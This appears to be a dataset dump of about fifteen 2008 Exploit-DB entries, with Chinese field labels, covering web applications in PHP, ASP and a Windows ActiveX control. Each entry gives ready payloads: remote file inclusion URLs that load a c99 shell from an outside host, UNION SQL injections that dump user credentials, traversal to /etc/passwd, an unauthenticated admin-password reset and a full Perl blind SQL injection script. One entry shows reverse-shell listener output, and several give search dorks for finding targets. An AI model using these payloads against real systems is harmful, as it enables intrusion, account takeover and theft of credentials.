QLWD/code_shield huggingface dataset:
标题: Dragoon 0.1 - 'root' Remote File Inclusion EDB-ID: 5393 CVE: 2008-1773 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-07 漏洞利用脚本: -==========================================[ ViVa YeMeN ]====================================-

# Name : Dragoon 0.1 Remote File Include Vulnerabilitiy

# Download From : http://sourceforge.net/project/showfiles.php?group_id=118780

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM   

+======================================================================================================================+

# Vulne Code In File header.inc.php In Line 23 :

@include($root.'config.php')){

# Exploit :

http://WwW.4RxH.CoM/PHP/includes/header.inc.php?root=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum

# For Contact : RxH@HoTMaiL.iT

# Fuck Own Life  :( 

-==========================================[ ViVa YeMeN ]====================================-

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5393
标题: Prozilla Topsites 1.0 - Arbitrary Edit/Add Users EDB-ID: 5388 CVE: 2008-1784 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: --==+================================================================================+==--
--==+     Prozilla Topsites 1.0 Arbitrary Edit/Add Users Vulnerability             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla TopSites in vulnerable due to bad session handling, multiple admin area files are not
validating the users that is viewing it, therefor making it viewiable to anyone, even unregistered people.

below you will find a URL that will locate the add and edit users page.


Vulnerability:
http://site.com/siteadmin/addu.php
http://site.com/siteadmin/editu.php
http://site.com/siteadmin/uidx.php


NOTE/TIP: 
edit admin's password login to view all admin features  ;) 


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+     Prozilla Topsites 1.0 Arbitrary Edit/Add Users Vulnerability             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5388
标题: Data Dynamics ActiveBar (Actbar3.ocx 3.2) - Multiple Insecure Methods EDB-ID: 5395 CVE: 2007-3883 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-07 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">------------------------------------------------------------------------------------
 <b>Data Dynamics ActiveBar ActiveX Control (Actbar3.ocx 3.2) Multiple Inscure Methods</b>
 url: http://www.datadynamics.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>
------------------------------------------------------------------------------------

<object classid='clsid:5407153D-022F-4CD2-8BFF-465569BC5DB8' id='test'></object>

<select style="width: 404px" name="Pucca">
  <option value = "Save">Save</option>
  <option value = "SaveLayoutChanges">SaveLayoutChanges</option>

  <option value = "SaveMenuUsageData">SaveMenuUsageData</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "Save" then
    test.Save "", "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Exploit completed!")
   elseif Pucca.value = "SaveLayoutChanges" then
    test.SaveLayoutChanges "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Exploit completed!")
   elseif Pucca.value = "SaveMenuUsageData" then
    test.SaveMenuUsageData "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Exploit completed!")
   end if

 End Sub
</script></span></span></code></pre>

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5395
标题: Prozilla Top 100 1.2 - Arbitrary Delete Stats EDB-ID: 5384 CVE: 2008-1785 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: --==+================================================================================+==--
--==+          Prozilla Top 100 1.2 Arbitrary Delete Stats Vulnerability           +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 
Script Download: http://prozilla.net
DORK: inurl:"list.php?c=" top 100
Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla Top 100 1.2 is vulnerable due to very bad validating on there $_GET urls.
this allows the remote attacker to delete the stats of a user of choice.
therefor pushing which ever site they want to the top of the list.


Vulnerbility:
http://site.com/delete.php?s=[id]


NOTE/TIP: 
replace [id] with the actual site id you want to reset the stats for.
you must first regster and login for this too work. note that it will delete your user account too.


GREETZ: milw0rm.com, h4ck-y0u.org,  CipherCrew!



--==+================================================================================+==--
--==+          Prozilla Top 100 1.2 Arbitrary Delete Stats Vulnerability           +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5384
标题: Apache Tomcat Connector jk2-2.0.2 mod_jk2 - Remote Overflow EDB-ID: 5386 CVE: 2007-6258 类型: REMOTE 平台: LINUX 发布日期: 2008-04-06 漏洞利用脚本: /*
**
** Fedora Core 6,7,8 (exec-shield) based
** Apache Tomcat Connector jk2-2.0.2(mod_jk2) remote overflow exploit
** by INetCop Security
**
** Advanced exploitation in exec-shield (Fedora Core case study)
** URL: http://www.milw0rm.com/papers/151
**
** IOActive Security Advisory:
** http://www.securityfocus.com/archive/1/487983
**
** Heretic2(heretic2x@gmail.com)'s exploit (Win32):
** http://www.milw0rm.com/exploits/5330
**
** --
** exploit by INetCop Security.
*/
/*
** --
** $ ./0x82-apache-mod_jk2 61.xx.xx.20 80 61.xx.xx.30
**
**  Fedora Core release 6 (exec-shield) based
**  Apache Tomcat Connector (mod_jk2) remote overflow exploit
**  Target Version: Apache/2.0.53 (Unix) mod_jk2/2.0.2
**  by INetCop Security
**
**  + make socket
**  + make exploit payload
**  + try connected 61.42.25.22:80
**  + exploit send!
**  * attacker host, check it up, now! :-D
**
** $
** --
**
** attacker's server port 56789: -- 
** $ nc -l -p 56789 -vv
** listening on [any] 56789 ...
** 61.xx.xx.20: inverse host lookup failed: Unknown host
** connect to [61.xx.xx.30] from (UNKNOWN) [61.xx.xx.20] 47576
** id
** --
**
** attacker's server port 5678: --
** $ nc -l -p 5678 -vv
** listening on [any] 5678 ...
** 61.xx.xx.20: inverse host lookup failed: Unknown host
** connect to [61.xx.xx.30] from (UNKNOWN) [61.xx.xx.20] 52452
** uid=99(nobody) gid=4294967295 groups=4294967295 context=root:system_r:unconfined_t:s0-s0:c0.c1023
** --
**
*/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5386.tar.gz (2008-x2_fc6f7f8.tar.gz)

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5386
标题: Blog PixelMotion - 'sauvBase.php' Arbitrary Database Backup EDB-ID: 5380 CVE: 2008-1868 2008-1866 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: -------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko [jiki team]
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : Blog PixelMotion 
# Bug   : Database Backup Dump Vulnerability
# Download  : http://www.pixelmotion.org/zip/blog.zip
 
=========================JIkI Team===================
# Exploit  :
 
  http://[Site]/[script]/admin/sauvBase.php
table of member is blog_utilisateurs
=========================JIKI Team===================
 greetz : all my friend and H-T Team 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5380
标题: Blog PixelMotion - 'categorie' SQL Injection EDB-ID: 5382 CVE: 2008-1867 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: Blog Pixel Motion Sql Injection Vulnerability
-------------------------------------------------------------------------------------------------
# Author  : parad0x
# Home   : www.inso.host.sk
# Script  : Blog PixelMotion 
# Download  : http://www.pixelmotion.org/zip/blog.zip
-------------------------------------------------------------------------------------------------
http://[target]/index.php?categorie=[SQL]

-------------------------------------------------------------------------------------------------
Example:

http://www.xxx.org/blog/index.php?categorie=-1+union+select+0,1,2,database(),4,5,6/*
-------------------------------------------------------------------------------------------------
greetz : VoLqaN
-------------------------------------------------------------------------------------------------

side note (thanks C0D3R-DZ):
http://localhost/[script_path]/index.php?categorie=-1+union+select+1,2,concat(login,0x3a,pass),4,5,6+from+blog_utilisateurs/*

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5382
标题: visualpic 0.3.1 - Remote File Inclusion EDB-ID: 5375 CVE: 2008-1876 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-05 漏洞利用脚本: -Coderx.Org-
                                [Digital-AngeLs] 

^| By Cr@zy_King / crazy_kinq@hotmail.co.uk \

^| Special Greatz All My Friends to str0ke \

^| VisualPic 0.3.1 Remote File Ä°nclude \

^| Down : http://www.snarky.fr/index.php?page=telechargement-2 \

^| Error : include($_CONFIG['files']['functions_page']) ; \

^| Files : index.php \

^| Rfi : http://localhost/?_CONFIG[files][functions_page]=http://shell \ 

# milw0rm.com [2008-04-05] URL: https://www.exploit-db.com/exploits/5375
标题: Entertainment Directory 1.1 - SQL Injection EDB-ID: 5371 CVE: 2008-1788 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-05 漏洞利用脚本: --==+================================================================================+==--
--==+        Entertainment Directory <= 1.1 SQL Injection Vulnerbility             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 5 April 2008
Script Download: http://www.turnkeyzone.com
DORK: N/A
Vendor Has Not Been Notified!


DESCRIPTION: 
Entertainment directory is vulnerable due to a insecure mysql query. this allows the remote attacker
to obtain user credentials from the database.


EXPLOITS:
http://site.com/directory.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,CONCAT(username,char(58),password),9,10,11,12,13,14/**/FROM/**/users/*



NOTE/TIP: 


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew!



--==+================================================================================+==--
--==+        Entertainment Directory <= 1.1 SQL Injection Vulnerbility             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05] URL: https://www.exploit-db.com/exploits/5371
标题: Links Directory 1.1 - 'cat_id' SQL Injection EDB-ID: 5377 CVE: 2008-1871 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-05 漏洞利用脚本: --==+================================================================================+==--
--==+        Links Directory 1.1 SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 6 April 2008
Script Download: N/A
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Links directorys is vulnerable to a insecure sql query.


SQL Injeciton:
http://site.com/links.php?ax=list&sub=2&cat_id=-1%20UNION%20ALL%20SELECT%201,2,load_file('/home'),4,5,6,7,8,9,10,11,12,13%20FROM%20links/*



NOTE/TIP: 
the above sql injection allows a remote attacker to load a localfile on the vulnerable server.
the hex you see above inside the load_file() function is "/etc/passwd" in plaintext, some permissions are
needed to use this function. this all depends on what mysql user is running.

the admin password is in the config.php file if you can find the complete path then you can use load file to
view the contents of the file and view the admin password.


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+        Links Directory 1.1 SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05] URL: https://www.exploit-db.com/exploits/5377
标题: Blogator-script 0.95 - 'id_art' SQL Injection EDB-ID: 5368 CVE: 2008-1763 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: ########################################################################
             #                                                                      #
             #    ...:::::Blogator-script 0.95 SQL Injection Vulnerbility ::::....  #          
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
dork: inurl:/_blogadata/
-----------------------------------
vuln code in /_blogadata/include/sond_result.php:
line 27: $id_art=$_GET['id_art'];
......
line 34: $sql_res=mysql_query("SELECT sond_rep, votes_H, votes_F FROM sondage_rep WHERE id_sond = $id_art ORDER BY ordre");
------------
vuln:
http://www.site.com/_blogadata/include/sond_result.php?id_art=-99999/**/union/**/select/**/concat(pseudo,0x3a,pass,char(58),email),2,3/**/from/**/membre/**/where/**/id_membre=1/*
--------------------------------
you can see in Blogator-script other injection bugs too ;)

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5368
标题: Blogator-script 0.95 - Change User Password EDB-ID: 5370 CVE: 2008-6473 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-05 漏洞利用脚本: ##############################################################################
             #                                                                            #
             #  ...:::::Blogator-script 0.95 Change User Password Vulnerbility ::::....   #           
             ##############################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
dork: inurl:/_blogadata/
-----------------------------------
vuln code in /_blogadata/include/init_pass2.php:
line 23: $id=$_GET['a'];
line 24:$email=$_GET['b'];
line 25: $mdp=$_GET['c'];
.....
line 27: $sql_change_pass=mysql_query("UPDATE membre SET pass = '$mdp' WHERE id_membre = '$id' AND email LIKE '$email' LIMIT 1");

so if we put user id for $id and put %(any) for user email($email) and $mdp=newpassword.....he he he :)
------------
vuln:
http://www.site.com/_blogadata/include/init_pass2.php?c=[newpass]&a=[user id]&b=%
example:(change admin pass to 123456)
http://www.site.com/_blogadata/include/init_pass2.php?c=123456&a=1&b=%

# milw0rm.com [2008-04-05] URL: https://www.exploit-db.com/exploits/5370
标题: MyBB Plugin Custom Pages 1.0 - SQL Injection EDB-ID: 5379 CVE: 2008-6198 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: ###################################################################################
#            #
# MyBulletin Board (MyBB) Plugin "Custom Pages 1.0" - SQL Injection Vulnerability #
#            #
#    found by: Lidloses_Auge          #
#    Greetz to: free-hack.com         #
#            #
###############################################################################################################################################
#                       #
# Vulnerability:                     #
#                       #
#    Document:      pages.php                    #
#    GET-Parameter: page                    #
#                       #
# Dork:                       #
#                       #
#    inurl:"pages.php" + intext:"powered by mybb"                 #
#                       #
# Example:                      #
#                       #
#    http://[target]/pages.php?page='union/**/select/**/1,unhex(hex(concat_ws(0x202d20,username,password))),3,4,5,6,7/**/FROM/**/mybb_users/* #
#                       #
# Notes:                      #
#                       #
#    Successrate depends on the permissions which could be set for viewing the 'page'                    #
#                       #
###############################################################################################################################################

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5379
标题: Dragoon 0.1 - 'lng' Local File Inclusion EDB-ID: 5369 CVE: 2008-1798 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: Script Name :Dragoon CMS
 
Download : http://sourceforge.net/project/showfiles.php?group_id=118780
 
Error :
$cal['lng']=$_GET['lng'];
include('../lang/'.$cal['lng'].'.php');
 
Vul Code : http://[site]/[path]/forum/kietu/libs/calendrier.php?cal[lng]=[LFI]

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5369
标题: Cobalt 0.1 - Multiple SQL Injections EDB-ID: 5373 CVE: 2008-6202 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-05 漏洞利用脚本: _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

CoBaLT v1.0 Remote SQL Ä°njection Vulnerabiltiy

Discovered : U238

Mail : setuid.noexec0x1@hotmail.com 

WebPage : http://ugur238.org (The End)


Script: http://www.aspindir.com/indir.asp?ID=5414

Script (Alternativ) : http://rapidshare.de/files/39031038/cobaltv.1.zip.html

_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

Exploit:

http://localhost:2222/lab/cobaltv.1/urun.asp?id=24+union+select+0,1,sifre,3,kadi+from+yonetici

http://localhost:2222/lab/cobaltv.1/admin/bayi_listele.asp?git=duzenle&id=98+union+select+0,1,2,3,sifre,5,kadi,7,8+from+yonetici+where+id=2

----
http://localhost:2222/lab/cobaltv.1/admin/urun_grup_listele.asp?git=duzenle&id=24+union+select+0,kadi+from+yonetici

http://localhost:2222/lab/cobaltv.1/admin/urun_grup_listele.asp?git=duzenle&id=24+union+select+0,sifre+from+yonetici

----

http://localhost:2222/lab/cobaltv.1/admin/urun_listele.asp?id=1+union+select+kadi,sifre,kadi,sifre,sifre+from+yonetici


Admin Panel : localhost/path/admin 

Other Table : bayi - sepet - siparis - siparis_urun - urun - urun_grup - yonetici 


Dork : Sevmem bole seylerÄ± ,  abi anlamÄ±orum ne bos adamlarsÄ±nÄ±z  :( 


Error Code: 

      id=Request.QueryString("id")
 
      SQL="select * from sepet where id="&"id"


Example Site : http://xxx.org/cobaltv1/urun.asp?id=24+union+select+0,1,sifre,3,kadi+from+yonetici

_-_-_-_-_- NURCÄ°HAN _-_-_-_-_- BU SEVDA BÄ°TMEZ _-_-_-_-_- 4 YIL OLDU Amk

Greatz To : The_BekiR _-_ ka0x _-_ Nettoxic _-_ ZeberuS _-_ Str0ke 

# milw0rm.com [2008-04-05] URL: https://www.exploit-db.com/exploits/5373
标题: PIGMy-SQL 1.4.1 - 'getdata.php' Blind SQL Injection EDB-ID: 5367 CVE: 2008-1870 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: #!/usr/bin/perl

# - PIGMy-SQL <= 1.4.1 Blind SQL Injection Exploit -
# PIGMy-SQL is vulnerable because the mysql querys are insecure, therefor it allows an attack to execute sql querys, since the..
# ..vulnerable page only returns a picture we have to use a blind sql script, heres a little one i coded below, it will be alot faster using things like sqlmap etc. but this does the job
#
# Discovered And Coded By: t0pP8uZz
# Discovered On: April 4 2008
# Vendor has not been notifed!
# Admin login is at /admin/
# passwords are encrypted in MD5
# END OF

use strict;
use LWP::Simple;

print "--------------------------------------------------\n";
print "- PIGMy-SQL <= 1.4.1 Blind SQL Injection Exploit -\n";
print "-         Coded And Discovered By t0pP8uZz       -\n";
print "-                                                -\n";
print "- This exploit will obtain the admin user/pass.. -\n";
print "-        ..Using a blind sql injection attack    -\n";
print "--------------------------------------------------\n";

print "\nTarget Site: ";
 chomp(my $url=<STDIN>);
 
print "Valid Photo ID: ";
 chomp(my $pid=<STDIN>);

if(inject_test($url, $pid)) {

 print "\nInjecting Please Wait.. This could take several minutes.\n";
 my $result = blindattack($url, $pid);
 print "Exploited! Admin Details Are: ".$result;
 exit;
}

sub blindattack {

 my $url    = shift;
 my $pid    = shift;
 my $done   = 0;
 my $substr = 1;
 my $chr    = 48;
 my $res    = undef;
 
 while($done == 0) {
  my $content = get($url."/getdata.php?id=".$pid." and ascii(substring((select concat(name,0x3a,pass,0x5E) FROM galleryusers),".$substr.",1))=".$chr."/*");
  
  if($content =~ /#/ && $chr == 94) { $done = 1; }
   elsif($content =~ /#/) { $res .= chr($chr); $substr++; $chr = 48; }
    else { $chr++; }
 }
 return $res;
}

sub inject_test {

 my $url = shift;
 my $pid = shift;
 
 my $true  = get($url."/getdata.php?id=".$pid." and 1=1");
 my $false = get($url."/getdata.php?id=".$pid." and 1=2");
 
 if($true =~ /#/ && $false !~ /#/) { 
  print "\nTarget Vulnerable!";
  return 1;
 }
 else {
  print "Target not vulnerable! die'ing!";
  exit;
 }
}

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5367
标题: Sabros.us 1.75 - 'thumbnails.php' Remote File Disclosure EDB-ID: 5360 CVE: 2008-1799 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-04 漏洞利用脚本: #######################################################
                   <<<<<< Remote File Disclosure Vulnerability >>>>>>
                               sabrosus 1.75  (thumbnails.php)
           #######################################################
 
## AUTHOR :  HaCkeR_EgY
## My HoMe :  www.PaL-HaCker.com
## ConTacT :  hacker_egy@hotmail.com
 
###############################################################################
## Download Script : http://sourceforge.net/project/downloading.php?groupname=sabrosus&filename=sabrosus1-75.zip&use_mirror=garr

## vurn C0de :
     in (thumbnails.php) 
        line 82
                       readfile ($img) <===
 
## Dork : Powered by sabros.us
 
## PoC:  http://localhost/sabrosus/thumbnails.php?img=include/config.php
             http://localhost/sabrosus/thumbnails.php?img=../../../../../../../../etc/passwd
                                            
#################################################################################
 
## GREETZ TO :   My BrOther and My MasTer   " Abo Mohamed "

##  Thanx     :  FiReSell  , MoHamed EL Arab  ,  Mr.exe  ,  zaradusht  ,  M$s D@nG3rS ,and all " pal-hacker members "
 
#####################################################################################

# milw0rm.com [2008-04-04] URL: https://www.exploit-db.com/exploits/5360